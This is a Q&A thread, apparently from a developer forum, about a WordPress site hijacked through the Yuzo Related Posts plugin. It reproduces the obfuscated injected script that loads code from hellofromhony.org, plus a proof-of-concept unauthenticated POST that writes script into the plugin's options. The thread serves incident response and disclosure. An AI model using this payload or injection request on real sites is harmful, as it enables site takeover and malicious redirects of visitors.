Vulnerability in closed plugin Yuzo Related Posts [closed]

Question

About an hour ago a Wordpress Page I manage started redirecting to Ad/Malware Pages.

I found the source of the redirection, want to provide help for others affected and need help finding the actual vulnerability and/or a fix.

The redirection happens after the Site is done loading, so I was looking for a JavaScript Snippet in the Page and dubious redirections in the Network Analyzer. Obvious malicious redirects were: hellofromhony.org, thebiggestfavoritemake.com, nnatrevaleur.tk and a site trying to snatch my current location (could not reproduce that one more than once though).

I was able to trace the redirections down to coming from https://hellofromhony.org/counter which is embedded via a code snippet.

The snippet was embedded in wp_options in an entry with the key 'yuzo_related_post_options' - more specifically embedded in the json option 'yuzo_related_post_css_and_style' of the option_value. That option gets echoed without sanitizing.

This option is part of the Yuzo Related Posts Plugin, which got discontinued about a week ago: https://wordpress.org/plugins/yuzo-related-post/

Removing that Plugin stopped the redirection immediately, I was not able to find other traces of tampering with the site.

The snippet that was in the option_value:

</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>

While removing the Plugin poses a quickfix, I want to dive deeper to be sure that there was no access to the database, backend and webspace.

Answer 1

I do believe I just found it: The Yuzo Related Posts Plugin does not check for authentication when saving options.

So POSTing

yuzo_related_post_css_and_style=</style><script+language=javascript>alert('hacked');</script> 

to /wp-admin/options-general.php?page=yuzo-related-post will succeed, even if you're not logged in.

The Plugin is using is_admin() to check for authentication, but that is a "false friend" and only checks if the accessed page is in the admin-area, not if a user is authenticated (nor authorized). See the Wordpress documentation.

A quick solution to keep using the plugin is just removing the settings option by putting false in the if-Statement in /assets/functions/options.php line 1155:

    function __construct(){

        global $if_utils;

        $this->utils = $if_utils;

        if(false/* is_admin() */)
            self::configuration_plugin();
        else
            self::parameters();

    }

Update:

Hang Guan pointed to a Blog Post about this issue from last week, seems like it is "out in the wild" now.